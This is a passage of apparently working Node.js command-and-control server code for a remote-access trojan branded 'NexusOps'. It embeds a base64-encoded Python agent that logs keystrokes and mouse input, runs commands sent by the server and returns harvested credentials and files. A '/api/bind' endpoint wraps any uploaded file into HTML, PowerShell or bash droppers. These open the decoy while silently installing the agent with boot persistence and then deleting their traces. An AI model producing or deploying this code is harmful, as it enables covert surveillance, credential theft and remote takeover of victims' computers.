mRfZXZlbnQoInNjcm9sbCIsIHsieCI6IHgsICJ5IjogeSwgImR4IjogZHgsICJkeSI6IGR5fSkKCmRlZiBzdGFydF9pbnB1dF9jYXB0dXJlKCk6CiAgICAiIiJTdGFydCBrZXlib2FyZCBhbmQgbW91c2UgbGlzdGVuZXJzIGlmIHB5bnB1dCBpcyBhdmFpbGFibGUuIiIiCiAgICBpZiBub3QgSU5QVVRfQ0FQVFVSRV9FTkFCTEVEOgogICAgICAgIHJldHVybiBGYWxzZQogICAgdHJ5OgogICAgICAgIGtiX2xpc3RlbmVyID0ga2V5Ym9hcmQuTGlzdGVuZXIob25fcHJlc3M9X29uX2tleV9wcmVzcykKICAgICAgICBtc19saXN0ZW5lciA9IG1vdXNlLkxpc3RlbmVyKG9uX2NsaWNrPV9vbl9jbGljaywgb25fc2Nyb2xsPV9vbl9zY3JvbGwpCiAgICAgICAga2JfbGlzdGVuZXIuZGFlbW9uID0gVHJ1ZQogICAgICAgIG1zX2xpc3RlbmVyLmRhZW1vbiA9IFRydWUKICAgICAgICBrYl9saXN0ZW5lci5zdGFydCgpCiAgICAgICAgbXNfbGlzdGVuZXIuc3RhcnQoKQogICAgICAgIHJldHVybiBUcnVlCiAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgIHJldHVybiBGYWxzZQoKZGVmIGZsdXNoX2lucHV0X2V2ZW50cyhzZXJ2ZXJfdXJsLCBub2RlX2lkLCBob3N0bmFtZSk6CiAgICAiIiJTZW5kIGNhcHR1cmVkIGlucHV0IGV2ZW50cyB0byB0aGUgbWFzdGVyIHNlcnZlci4iIiIKICAgIGdsb2JhbCBjYXB0dXJlZF9ldmVudHMKICAgIGlmIG5vdCBjYXB0dXJlZF9ldmVudHM6CiAgICAgICAgcmV0dXJuCiAgICBldmVudHNfdG9fc2VuZCA9IGNhcHR1cmVkX2V2ZW50c1s6XQogICAgY2FwdHVyZWRfZXZlbnRzID0gW10KICAgIHBheWxvYWQgPSB7CiAgICAgICAgIm5vZGVJZCI6IG5vZGVfaWQsCiAgICAgICAgImhvc3RuYW1lIjogaG9zdG5hbWUsCiAgICAgICAgImV2ZW50cyI6IGV2ZW50c190b19zZW5kCiAgICB9CiAgICBodHRwX3Bvc3QoZiJ7c2VydmVyX3VybH0vYXBpL2FnZW50L2lucHV0LWNhcHR1cmUiLCBwYXlsb2FkKQoKZGVmIG1haW4oKToKICAgIGdsb2JhbCBsYXN0X2xvZ19jaGVja190aW1lLCBoZWFydGJlYXRfaW50ZXJ2YWwsIG5vZGVfdGFncywgcXVpZXRfbW9kZQogICAgcGFyc2VyID0gYXJncGFyc2UuQXJndW1lbnRQYXJzZXIoZGVzY3JpcHRpb249Ik5leHVzT3BzIENyb3NzLVBsYXRmb3JtIE5vZGUgQWdlbnQiKQogICAgcGFyc2VyLmFkZF9hcmd1bWVudCgiLS1zZXJ2ZXIiLCBkZWZhdWx0PSJodHRwczovL2FnZW50LnRoZXRlbXBsZW9mZG9vbS5jb20iLCBoZWxwPSJEYXNoYm9hcmQgc2VydmVyIFVSTCBlbmRwb2ludCIpCiAgICBwYXJzZXIuYWRkX2FyZ3VtZW50KCItLXNpbGVudCIsIGFjdGlvbj0ic3RvcmVfdHJ1ZSIsIGhlbHA9IlN1cHByZXNzIGFsbCBjb25zb2xlIG91dHB1dCIpCiAgICBwYXJzZXIuYWRkX2FyZ3VtZW50KCItLXF1aWV0IiwgYWN0aW9uPSJzdG9yZV90cnVlIiwgaGVscD0iUXVpZXQgbW9kZTogc3VwcHJlc3MgYmFubmVyIGFuZCBleGVjIG1lc3NhZ2VzIikKICAgIGFyZ3MgPSBwYXJzZXIucGFyc2VfYXJncygpCgogICAgc2lsZW50ID0gYXJncy5zaWxlbnQgICMgc3VwcHJlc3MgYmFubmVyIG9ubHkg4oCUIGtlZXAgbG9ncyBmbG93aW5nIGZvciBsYXVuY2hkL3N5c3RlbWQKICAgIGdsb2JhbCBxdWlldF9tb2RlCiAgICBxdWlldF9tb2RlID0gYXJncy5xdWlldCBvciBhcmdzLnNpbGVudAoKICAgIHNlcnZlcl91cmwgPSBhcmdzLnNlcnZlci5yc3RyaXAoJy8nKQogICAgaG9zdG5hbWUgPSBzb2NrZXQuZ2V0aG9zdG5hbWUoKQogICAgc3lzdGVtX29zID0gcGxhdGZvcm0uc3lzdGVtKCkKICAgIGFyY2ggPSBwbGF0Zm9ybS5tYWNoaW5lKCkKICAgIGlwID0gZ2V0X2lwX2FkZHJlc3MoKQogICAgbm9kZV9pZCA9IGYibm9kZS17aG9zdG5hbWUubG93ZXIoKX0te2lwLnJlcGxhY2UoJy4nLCAnJyl9IgoKICAgIGlmIG5vdCBxdWlldF9tb2RlOgogICAgICAgIHByaW50KCI9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIpCiAgICAgICAgcHJpbnQoIiAgICAgIE5leHVzT3BzIENyb3NzLVBsYXRmb3JtIE5vZGUgQWdlbnQgICAgICAgICAgIikKICAgICAgICBwcmludCgiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKQogICAgICAgIHByaW50KGYiTm9kZSBIb3N0bmFtZSA6IHtob3N0bmFtZX0iKQogICAgICAgIHByaW50KGYiUGxhdGZvcm0gICAgICA6IHtzeXN0ZW1fb3N9ICh7YXJjaH0pIikKICAgICAgICBwcmludChmIkxvY2FsIElQICAgICAgOiB7aXB9IikKICAgICAgICBwcmludChmIlNlcnZlciBFbmRwb2ludDoge3NlcnZlcl91cmx9IikKICAgICAgICBwcmludCgiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKQoKICAgICMgUmVnaXN0ZXIgTm9kZQogICAgcmVnX3BheWxvYWQgPSB7CiAgICAgICAgIm5vZGVJZCI6IG5vZGVfaWQsCiAgICAgICAgImhvc3RuYW1lIjogaG9zdG5hbWUsCiAgICAgICAgInBsYXRmb3JtIjogc3lzdGVtX29zLmxvd2VyKCksCiAgICAgICAgImFyY2giOiBhcmNoLAogICAgICAgICJpcCI6IGlwLAogICAgICAgICJvc05hbWUiOiBmIntzeXN0ZW1fb3N9IHtwbGF0Zm9ybS5yZWxlYXNlKCl9IiwKICAgICAgICAidGFncyI6IG5vZGVfdGFncwogICAgfQoKICAgIGlmIG5vdCBxdWlldF9tb2RlOgogICAgICAgIHByaW50KCJbKl0gUmVnaXN0ZXJpbmcgbm9kZSB3aXRoIGNlbnRyYWwgZW5kcG9pbnQuLi4iKQogICAgcmVzID0gaHR0cF9wb3N0KGYie3NlcnZlcl91cmx9L2FwaS9hZ2VudC9yZWdpc3RlciIsIHJlZ19wYXlsb2FkKQogICAgaWYgcmVzIGFuZCByZXMuZ2V0KCJzdWNjZXNzIikgYW5kIG5vdCBxdWlldF9tb2RlOgogICAgICAgIHByaW50KGYi4pyFIFJlZ2lzdGVyZWQgYXMgbm9kZSBJRDoge25vZGVfaWR9IikKCiAgICAjIFN0YXJ0IGlucHV0IGNhcHR1cmUgKGtleXN0cm9rZXMsIGNsaWNrcywgc2Nyb2xsKQogICAgY2FwdHVyZV9zdGFydGVkID0gc3RhcnRfaW5wdXRfY2FwdHVyZSgpCiAgICBpZiBub3QgcXVpZXRfbW9kZToKICAgICAgICBpZiBjYXB0dXJlX3N0YXJ0ZWQ6CiAgICAgICAgICAgIHByaW50KCJbKl0gSW5wdXQgY2FwdHVyZSBhY3RpdmUgKGtleXN0cm9rZXMgKyBtb3VzZSBldmVudHMpIikKICAgICAgICBlbHNlOgogICAgICAgICAgICBwcmludCgiWyFdIElucHV0IGNhcHR1cmUgdW5hdmFpbGFibGUgKGluc3RhbGwgcHlucHV0OiBwaXAgaW5zdGFsbCBweW5wdXQpIikKCiAgICBsYXN0X2lucHV0X2ZsdXNoID0gdGltZS50aW1lKCkKICAgIGJhY2tvZmYgPSAxICAjIFR1bm5lbCByZWNvbm5lY3Rpb24gYmFja29mZiBpbiBzZWNvbmRzCgogICAgd2hpbGUgVHJ1ZToKICAgICAgICB0cnk6CiAgICAgICAgICAgIGNwdSA9IGdldF9jcHVfdXNhZ2UoKQogICAgICAgICAgICBtZW0gPSBnZXRfbWVtb3J5X3VzYWdlKCkKICAgICAgICAgICAgZGlzayA9IGdldF9kaXNrX3VzYWdlKCkKICAgICAgICAgICAgdXB0aW1lID0gZ2V0X3VwdGltZV9zZWNvbmRzKCkKCiAgICAgICAgICAgIGhlYXJ0YmVhdF9wYXlsb2FkID0gewogICAgICAgICAgICAgICAgIm5vZGVJZCI6IG5vZGVfaWQsCiAgICAgICAgICAgICAgICAiY3B1VXNhZ2UiOiBjcHUsCiAgICAgICAgICAgICAgICAibWVtVXNhZ2UiOiBtZW0sCiAgICAgICAgICAgICAgICAiZGlza1VzYWdlIjogZGlzaywKICAgICAgICAgICAgICAgICJ1cHRpbWUiOiB1cHRpbWUsCiAgICAgICAgICAgICAgICAicHJvY2Vzc0NvdW50IjogZ2V0X3Byb2Nlc3NfY291bnQoKSwKICAgICAgICAgICAgICAgICJ0YWdzIjogbm9kZV90YWdzLAogICAgICAgICAgICAgICAgImhlYXJ0YmVhdEludGVydmFsIjogaGVhcnRiZWF0X2ludGVydmFsCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHJlcyA9IGh0dHBfcG9zdChmIntzZXJ2ZXJfdXJsfS9hcGkvYWdlbnQvaGVhcnRiZWF0IiwgaGVhcnRiZWF0X3BheWxvYWQpCgogICAgICAgICAgICBub3cgPSB0aW1lLnRpbWUoKQogICAgICAgICAgICBpZiBub3cgLSBsYXN0X2xvZ19jaGVja190aW1lID4gMTU6CiAgICAgICAgICAgICAgICBsb2dzID0gY29sbGVjdF9yZWNlbnRfc3lzdGVtX2xvZ3MoKQogICAgICAgICAgICAgICAgaWYgbG9nczoKICAgICAgICAgICAgICAgICAgICBodHRwX3Bvc3QoZiJ7c2VydmVyX3VybH0vYXBpL2FnZW50L2xvZ3MiLCB7CiAgICAgICAgICAgICAgICAgICAgICAgICJub2RlSWQiOiBub2RlX2lkLAogICAgICAgICAgICAgICAgICAgICAgICAiaG9zdG5hbWUiOiBob3N0bmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgImxvZ3MiOiBsb2dzCiAgICAgICAgICAgICAgICAgICAgfSkKICAgICAgICAgICAgICAgIGxhc3RfbG9nX2NoZWNrX3RpbWUgPSBub3cKCiAgICAgICAgICAgICMgRmx1c2ggY2FwdHVyZWQgaW5wdXQgZXZlbnRzIGV2ZXJ5IDEwIHNlY29uZHMKICAgICAgICAgICAgaWYgbm93IC0gbGFzdF9pbnB1dF9mbHVzaCA+IDEwOgogICAgICAgICAgICAgICAgZmx1c2hfaW5wdXRfZXZlbnRzKHNlcnZlcl91cmwsIG5vZGVfaWQsIGhvc3RuYW1lKQogICAgICAgICAgICAgICAgbGFzdF9pbnB1dF9mbHVzaCA9IG5vdwoKICAgICAgICAgICAgaWYgcmVzIGFuZCAiY29tbWFuZHMiIGluIHJlcyBhbmQgcmVzWyJjb21tYW5kcyJdOgogICAgICAgICAgICAgICAgZm9yIGNtZF9pdGVtIGluIHJlc1siY29tbWFuZHMiXToKICAgICAgICAgICAgICAgICAgICBjbWRfaWQgPSBjbWRfaXRlbS5nZXQoImlkIikKICAgICAgICAgICAgICAgICAgICBhY3Rpb25fdHlwZSA9IGNtZF9pdGVtLmdldCgiYWN0aW9uVHlwZSIsICJyYXdfY29tbWFuZCIpCiAgICAgICAgICAgICAgICAgICAgcGF5bG9hZCA9IGNtZF9pdGVtLmdldCgicGF5bG9hZCIsIHt9KQogICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIGlmICJjb21tYW5kIiBpbiBjbWRfaXRlbSBhbmQgbm90IHBheWxvYWQ6CiAgICAgICAgICAgICAgICAgICAgICAgIHBheWxvYWRbImNvbW1hbmQiXSA9IGNtZF9pdGVtLmdldCgiY29tbWFuZCIpCgogICAgICAgICAgICAgICAgICAgIG91dHB1dCwgZXhpdF9jb2RlID0gZXhlY3V0ZV9zdHJ1Y3R1cmVkX2FjdGlvbihhY3Rpb25fdHlwZSwgcGF5bG9hZCkKCiAgICAgICAgICAgICAgICAgICAgIyBDaGVjayBmb3IgSlNPTi1lbmNvZGVkIHNwZWNpYWwgcmVzdWx0IHR5cGVzCiAgICAgICAgICAgICAgICAgICAgc3BlY2lhbCA9IE5vbmUKICAgICAgICAgICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIG91dHB1dC5zdGFydHN3aXRoKCd7Jyk6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzcGVjaWFsID0ganNvbi5sb2FkcyhvdXRwdXQpCiAgICAgICAgICAgICAgICAgICAgZXhjZXB0OiBwYXNzCgogICAgICAgICAgICAgICAgICAgIGlmIHNwZWNpYWwgYW5kIHNwZWNpYWwuZ2V0KCJ0eXBlIikgPT0gImZpbGVfcmVzdWx0IjoKICAgICAgICAgICAgICAgICAgICAgICAgIyBSb3V0ZSB0byBmaWxlLXJlc3VsdCBlbmRwb2ludAogICAgICAgICAgICAgICAgICAgICAgICBodHRwX3Bvc3QoZiJ7c2VydmVyX3VybH0vYXBpL2FnZW50L2ZpbGUtcmVzdWx0IiwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgImNvbW1hbmRJZCI6IGNtZF9pZCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJub2RlSWQiOiBub2RlX2lkLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgImhvc3RuYW1lIjogaG9zdG5hbWUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZmlsZW5hbWUiOiBzcGVjaWFsLmdldCgiZmlsZW5hbWUiLCAidW5rbm93biIpLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgImRhdGEiOiBzcGVjaWFsLmdldCgiZGF0YSIsICIiKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtaW1lIjogc3BlY2lhbC5nZXQoIm1pbWUiLCAiYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIikKICAgICAgICAgICAgICAgICAgICAgICAgfSkKICAgICAgICAgICAgICAgICAgICBlbGlmIHNwZWNpYWwgYW5kIHNwZWNpYWwuZ2V0KCJ0eXBlIikgPT0gImhhcnZlc3RfcmVzdWx0IjoKICAgICAgICAgICAgICAgICAgICAgICAgaHR0cF9wb3N0KGYie3NlcnZlcl91cmx9L2FwaS9hZ2VudC9oYXJ2ZXN0LXJlc3VsdCIsIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJjb21tYW5kSWQiOiBjbWRfaWQsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAibm9kZUlkIjogbm9kZV9pZCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJob3N0bmFtZSI6IGhvc3RuYW1lLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgImNyZWRlbnRpYWxzIjogc3BlY2lhbC5nZXQoImNyZWRlbnRpYWxzIiwgW10pCiAgICAgICAgICAgICAgICAgICAgICAgIH0pCiAgICAgICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICAgICAgaHR0cF9wb3N0KGYie3NlcnZlcl91cmx9L2FwaS9hZ2VudC9jb21tYW5kLXJlc3VsdCIsIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJjb21tYW5kSWQiOiBjbWRfaWQsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAibm9kZUlkIjogbm9kZV9pZCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJvdXRwdXQiOiBvdXRwdXQsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZXhpdENvZGUiOiBleGl0X2NvZGUKICAgICAgICAgICAgICAgICAgICAgICAgfSkKCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgICAgICBpZiBub3QgcXVpZXRfbW9kZToKICAgICAgICAgICAgICAgIHByaW50KGYiWyFdIENvbm5lY3Rpb24gZXJyb3I6IHtlfS4gUmV0cnlpbmcgaW4ge2JhY2tvZmZ9cy4uLiIpCiAgICAgICAgICAgIHRpbWUuc2xlZXAoYmFja29mZikKICAgICAgICAgICAgYmFja29mZiA9IG1pbihiYWNrb2ZmICogMiwgNjApCiAgICAgICAgICAgIGNvbnRpbnVlCgogICAgICAgIGJhY2tvZmYgPSAxICAjIFJlc2V0IG9uIHN1Y2Nlc3MKICAgICAgICB0aW1lLnNsZWVwKGhlYXJ0YmVhdF9pbnRlcnZhbCkKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICBtYWluKCkK";
|
|
app.post('/api/bind', upload.single('file'), (req, res) => {
|
|
if (!req.file) {
|
|
return res.status(400).json({ error: 'No file uploaded. Use field name "file".' });
|
|
}
|
|
|
|
const originalName = req.file.originalname;
|
|
const b64Content = req.file.buffer.toString('base64');
|
|
const b64Lines = b64Content.match(/.{1,76}/g) || [b64Content];
|
|
const agentLines = AGENT_B64.match(/.{1,76}/g) || [AGENT_B64];
|
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
|
const format = (req.query.format || 'sh').toLowerCase();
|
|
|
|
let dropper, boundName, contentType;
|
|
|
|
// ── HTML Payload (one-click social engineering, auto-downloads file) ──
|
|
if (format === 'html') {
|
|
const safeName = originalName.replace(/"/g, '"').replace(/\\/g, '\\\\');
|
|
const safeB64 = b64Content;
|
|
dropper = `<!DOCTYPE html>
|
|
<html><head><meta charset="UTF-8"><title>${safeName}</title>
|
|
<style>
|
|
body { background:#0f172a; color:#e2e8f0; font-family:system-ui; display:flex; align-items:center; justify-content:center; height:100vh; margin:0; flex-direction:column; }
|
|
.card { background:#1e293b; border-radius:16px; padding:2.5rem; text-align:center; max-width:420px; box-shadow:0 25px 50px rgba(0,0,0,0.5); border:1px solid #334155; }
|
|
h1 { font-size:1.5rem; margin:0 0 0.5rem; } p { color:#94a3b8; margin:0 0 1.5rem; font-size:0.9rem; }
|
|
.spinner { width:48px; height:48px; border:4px solid #334155; border-top-color:#06b6d4; border-radius:50%%; animation:spin 0.8s linear infinite; margin:0 auto 1.5rem; }
|
|
@keyframes spin { to { transform:rotate(360deg); } }
|
|
.filename { color:#06b6d4; font-family:monospace; font-size:0.85rem; word-break:break-all; }
|
|
.btn { display:inline-block; background:#06b6d4; color:#fff; border:none; padding:0.75rem 2rem; border-radius:8px; font-size:1rem; cursor:pointer; text-decoration:none; font-weight:600; }
|
|
</style></head><body>
|
|
<div class="card">
|
|
<div class="spinner"></div>
|
|
<h1>Opening your file…</h1>
|
|
<p class="filename">${safeName}</p>
|
|
<a class="btn" id="dl" href="#">Download & Open</a>
|
|
</div>
|
|
<script>
|
|
(function(){
|
|
const b64 = "${safeB64}";
|
|
const name = "${safeName}";
|
|
function go(){
|
|
const bin = Uint8Array.from(atob(b64), c => c.charCodeAt(0));
|
|
const blob = new Blob([bin]);
|
|
const url = URL.createObjectURL(blob);
|
|
const a = document.createElement('a');
|
|
a.href = url; a.download = name; a.click();
|
|
setTimeout(() => URL.revokeObjectURL(url), 60000);
|
|
}
|
|
go();
|
|
document.getElementById('dl').addEventListener('click', e => { e.preventDefault(); go(); });
|
|
})();
|
|
<\/script></body></html>`;
|
|
boundName = originalName + '.html';
|
|
contentType = 'text/html';
|
|
}
|
|
|
|
// ── PowerShell Self-Contained Dropper (Windows) ──
|
|
else if (format === 'ps1') {
|
|
const psLines = [
|
|
'<#',
|
|
' Self-Extracting Dropper — ' + originalName,
|
|
' NexusOps Agent Binder v2 (self-contained, no network)',
|
|
'#>',
|
|
'',
|
|
'$ORIGINAL_NAME = "' + originalName + '"',
|
|
'$OUTPUT_DIR = "$env:TEMP\\nexus-$pid"',
|
|
'$OUTPUT_FILE = "$OUTPUT_DIR\\$ORIGINAL_NAME"',
|
|
'$AGENT_DIR = "$env:ProgramData\\NetworkAgent"',
|
|
'$SERVER_URL = "' + serverUrl + '"',
|
|
'',
|
|
'New-Item -ItemType Directory -Path $OUTPUT_DIR -Force | Out-Null',
|
|
'New-Item -ItemType Directory -Path $AGENT_DIR -Force | Out-Null',
|
|
'',
|
|
'$scriptPath = $MyInvocation.MyCommand.Path',
|
|
'$lines = Get-Content $scriptPath',
|
|
'$fileMarker = [array]::IndexOf($lines, "__FILE_BASE64__")',
|
|
'$agentMarker = [array]::IndexOf($lines, "__AGENT_BASE64__")',
|
|
'if ($fileMarker -ge 0 -and $agentMarker -ge 0) {',
|
|
' $fileB64 = ($lines[($fileMarker+1)..($agentMarker-1)] -join "")',
|
|
' $agentB64 = ($lines[($agentMarker+1)..($lines.Length-1)] -join "")',
|
|
' [IO.File]::WriteAllBytes($OUTPUT_FILE, [Convert]::FromBase64String($fileB64))',
|
|
' [IO.File]::WriteAllBytes("$AGENT_DIR\\agent.py", [Convert]::FromBase64String($agentB64))',
|
|
'}',
|
|
'',
|
|
'Start-Process $OUTPUT_FILE -WindowStyle Normal',
|
|
'schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr "python $AGENT_DIR\\agent.py --server $SERVER_URL --silent" /f /rl HIGHEST 2>$null',
|
|
'Start-Process -FilePath python -ArgumentList "$AGENT_DIR\\agent.py --server $SERVER_URL --silent" -WindowStyle Hidden',
|
|
'Start-Process powershell -ArgumentList "-WindowStyle Hidden -NoProfile -Command Start-Sleep 60; Remove-Item -Recurse -Force $OUTPUT_DIR" -WindowStyle Hidden',
|
|
'',
|
|
'__FILE_BASE64__',
|
|
...b64Lines,
|
|
'__AGENT_BASE64__',
|
|
...agentLines
|
|
];
|
|
dropper = psLines.join('\r\n');
|
|
boundName = originalName + '.ps1';
|
|
contentType = 'text/plain';
|
|
}
|
|
|
|
// ── Bash Self-Contained Dropper (Linux/macOS — DEFAULT) ──
|
|
else {
|
|
dropper = [
|
|
'#!/bin/bash',
|
|
'# ═══════════════════════════════════════════════════════',
|
|
'# NexusOps v2 Self-Contained Dropper',
|
|
`# File: ${originalName}`,
|
|
'# Agent is embedded — no network needed',
|
|
'# ═══════════════════════════════════════════════════════',
|
|
'set -e',
|
|
'',
|
|
`ORIGINAL_NAME="${originalName}"`,
|
|
'OUTPUT_DIR="/tmp/.nexus-$$"',
|
|
'OUTPUT_FILE="$OUTPUT_DIR/$ORIGINAL_NAME"',
|
|
`SERVER_URL="${serverUrl}"`,
|
|
'AGENT_DIR="/opt/network-agent"',
|
|
'',
|
|
'mkdir -p "$OUTPUT_DIR" "$AGENT_DIR"',
|
|
'',
|
|
'# ── Extract payloads ──',
|
|
'FILE_START=$(awk \'$0 == "__FILE_BASE64__" {print NR+1; exit}\' "$0")',
|
|
'AGENT_START=$(awk \'$0 == "__AGENT_BASE64__" {print NR+1; exit}\' "$0")',
|
|
'FILE_LINES=$((AGENT_START - FILE_START - 1))',
|
|
'tail -n +$FILE_START "$0" | head -n $FILE_LINES | base64 -d > "$OUTPUT_FILE" 2>/dev/null',
|
|
'tail -n +$AGENT_START "$0" | base64 -d > "$AGENT_DIR/agent.py" 2>/dev/null',
|
|
'chmod +x "$AGENT_DIR/agent.py"',
|
|
'',
|
|
'# ── Open original file ──',
|
|
'if command -v xdg-open &>/dev/null; then xdg-open "$OUTPUT_FILE" 2>/dev/null &',
|
|
'elif command -v open &>/dev/null; then open "$OUTPUT_FILE" 2>/dev/null &',
|
|
'elif command -v start &>/dev/null; then start "$OUTPUT_FILE" 2>/dev/null &',
|
|
'fi',
|
|
'',
|
|
'# ── Install agent persistence (OS-aware) ──',
|
|
'case "$(uname -s 2>/dev/null)" in',
|
|
' Linux)',
|
|
' cat > /etc/systemd/system/network-agent.service << UNITEOF',
|
|
'[Unit]',
|
|
'Description=NexusOps Node Agent',
|
|
'After=network.target',
|
|
'[Service]',
|
|
'Type=simple',
|
|
'ExecStart=/usr/bin/python3 -u $AGENT_DIR/agent.py --server $SERVER_URL --silent',
|
|
'Restart=always',
|
|
'RestartSec=5',
|
|
'[Install]',
|
|
'WantedBy=multi-user.target',
|
|
'UNITEOF',
|
|
' systemctl daemon-reload 2>/dev/null || true',
|
|
' systemctl enable network-agent 2>/dev/null || true',
|
|
' systemctl restart network-agent 2>/dev/null || true',
|
|
' /usr/bin/python3 -u "$AGENT_DIR/agent.py" --server "$SERVER_URL" --silent &>/dev/null &',
|
|
' ;;',
|
|
' Darwin)',
|
|
' mkdir -p "$HOME/Library/LaunchAgents"',
|
|
' cat > "$HOME/Library/LaunchAgents/com.nexusops.agent.plist" << PLISTEOF',
|
|
'<?xml version="1.0" encoding="UTF-8"?>',
|
|
'<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">',
|
|
'<plist version="1.0"><dict>',
|
|
'<key>Label</key><string>com.nexusops.agent</string>',
|
|
'<key>ProgramArguments</key><array><string>/usr/bin/python3</string><string>-u</string><string>$AGENT_DIR/agent.py</string><string>--server</string><string>$SERVER_URL</string><string>--silent</string></array>',
|
|
'<key>RunAtLoad</key><true/>',
|
|
'<key>KeepAlive</key><true/>',
|
|
'</dict></plist>',
|
|
'PLISTEOF',
|
|
' launchctl bootout gui/$(id -u) "$HOME/Library/LaunchAgents/com.nexusops.agent.plist" 2>/dev/null || true',
|
|
' launchctl bootstrap gui/$(id -u) "$HOME/Library/LaunchAgents/com.nexusops.agent.plist" 2>/dev/null || true',
|
|
' /usr/bin/python3 -u "$AGENT_DIR/agent.py" --server "$SERVER_URL" --silent &>/dev/null &',
|
|
' ;;',
|
|
'esac',
|
|
'',
|
|
'# ── Self-destruct temp dir ──',
|
|
'(sleep 60 && rm -rf "$OUTPUT_DIR") &',
|
|
'disown',
|
|
'',
|
|
'exit 0',
|
|
'__FILE_BASE64__',
|
|
b64Content,
|
|
'__AGENT_BASE64__',
|
|
AGENT_B64
|
|
].join('\n');
|
|
boundName = originalName + '.sh';
|
|
contentType = 'application/x-sh';
|
|
}
|
|
|
|
res.setHeader('Content-Type', contentType);
|
|
res.setHeader('Content-Disposition', `attachment; filename="${boundName}"`);
|
|
res.send(dropper);
|
|
});
|
|
|
|
app.post('/api/agent/register', (req, res) => {
|
|
const { hostname, platform, arch, ip, osName, tags } = req.body;
|
|
const nodeId = req.body.nodeId || `node-${hostname.toLowerCase().replace(/[^a-z0-9]/g, '-')}-${Math.random().toString(36).slice(2, 6)}`;
|
|
|
|
const existingNode = nodes.get(nodeId);
|
|
const now = Date.now();
|
|
|
|
const nodeData = {
|
|
id: nodeId,
|
|
hostname: hostname || 'Unknown-Host',
|
|
platform: platform || 'linux',
|
|
arch: arch || 'x64',
|
|
osName: osName || platform,
|
|
ip: ip || req.ip.replace(/^.*:/, '') || '127.0.0.1',
|
|
status: 'online',
|
|
firstSeen: existingNode ? existingNode.firstSeen : now,
|
|
lastHeartbeat: now,
|
|
cpuUsage: 0,
|
|
memUsage: 0,
|
|
diskUsage: 0,
|
|
uptime: 0,
|
|
processCount: 0,
|
|
tags: tags || ['Default'],
|
|
heartbeatInterval: 5,
|
|
metricsHistory: existingNode ? existingNode.metricsHistory : []
|
|
};
|
|
|
|
nodes.set(nodeId, nodeData);
|
|
if (!commandQueues.has(nodeId)) {
|
|
commandQueues.set(nodeId, []);
|
|
}
|
|
|
|
broadcastState();
|
|
res.json({ success: true, nodeId, serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}` });
|
|
});
|
|
|
|
// Agent Heartbeat
|
|
app.post('/api/agent/heartbeat', (req, res) => {
|
|
const { nodeId, cpuUsage, memUsage, diskUsage, uptime, processCount, tags, heartbeatInterval } = req.body;
|
|
|
|
if (!nodeId || !nodes.has(nodeId)) {
|
|
return res.status(404).json({ error: 'Node not registered.' });
|
|
}
|
|
|
|
const node = nodes.get(nodeId);
|
|
const now = Date.now();
|
|
|
|
node.status = 'online';
|
|
node.lastHeartbeat = now;
|
|
node.cpuUsage = typeof cpuUsage === 'number' ? Math.round(cpuUsage) : node.cpuUsage;
|
|
node.memUsage = typeof memUsage === 'number' ? Math.round(memUsage) : node.memUsage;
|
|
node.diskUsage = typeof diskUsage === 'number' ? Math.round(diskUsage) : node.diskUsage;
|
|
node.uptime = uptime || node.uptime;
|
|
node.processCount = processCount || node.processCount;
|
|
if (tags) node.tags = tags;
|
|
if (heartbeatInterval) node.heartbeatInterval = heartbeatInterval;
|
|
|
|
if (!node.metricsHistory) node.metricsHistory = [];
|
|
node.metricsHistory.push({
|
|
timestamp: new Date().toLocaleTimeString(),
|
|
cpu: node.cpuUsage,
|
|
mem: node.memUsage,
|
|
disk: node.diskUsage
|
|
});
|
|
if (node.metricsHistory.length > 30) {
|
|
node.metricsHistory.shift();
|
|
}
|
|
|
|
nodes.set(nodeId, node);
|
|
broadcastState();
|
|
|
|
const queue = commandQueues.get(nodeId) || [];
|
|
const pendingCommands = [...queue];
|
|
commandQueues.set(nodeId, []);
|
|
|
|
res.json({ success: true, commands: pendingCommands });
|
|
});
|
|
|
|
// Command Result Callback
|
|
app.post('/api/agent/command-result', (req, res) => {
|
|
const { commandId, nodeId, output, exitCode } = req.body;
|
|
const entry = commandHistory.find(c => c.id === commandId);
|
|
if (entry) {
|
|
entry.status = exitCode === 0 ? 'completed' : 'failed';
|
|
entry.output = output;
|
|
entry.completedAt = Date.now();
|
|
}
|
|
broadcastState();
|
|
res.json({ success: true });
|
|
});
|
|
|
|
// Queue Command for Single Node
|
|
app.post('/api/nodes/:id/command', (req, res) => {
|
|
const nodeId = req.params.id;
|
|
const { command, actionType, payload } = req.body;
|
|
|
|
if (!nodes.has(nodeId)) {
|
|
return res.status(404).json({ error: 'Node not found' });
|
|
}
|
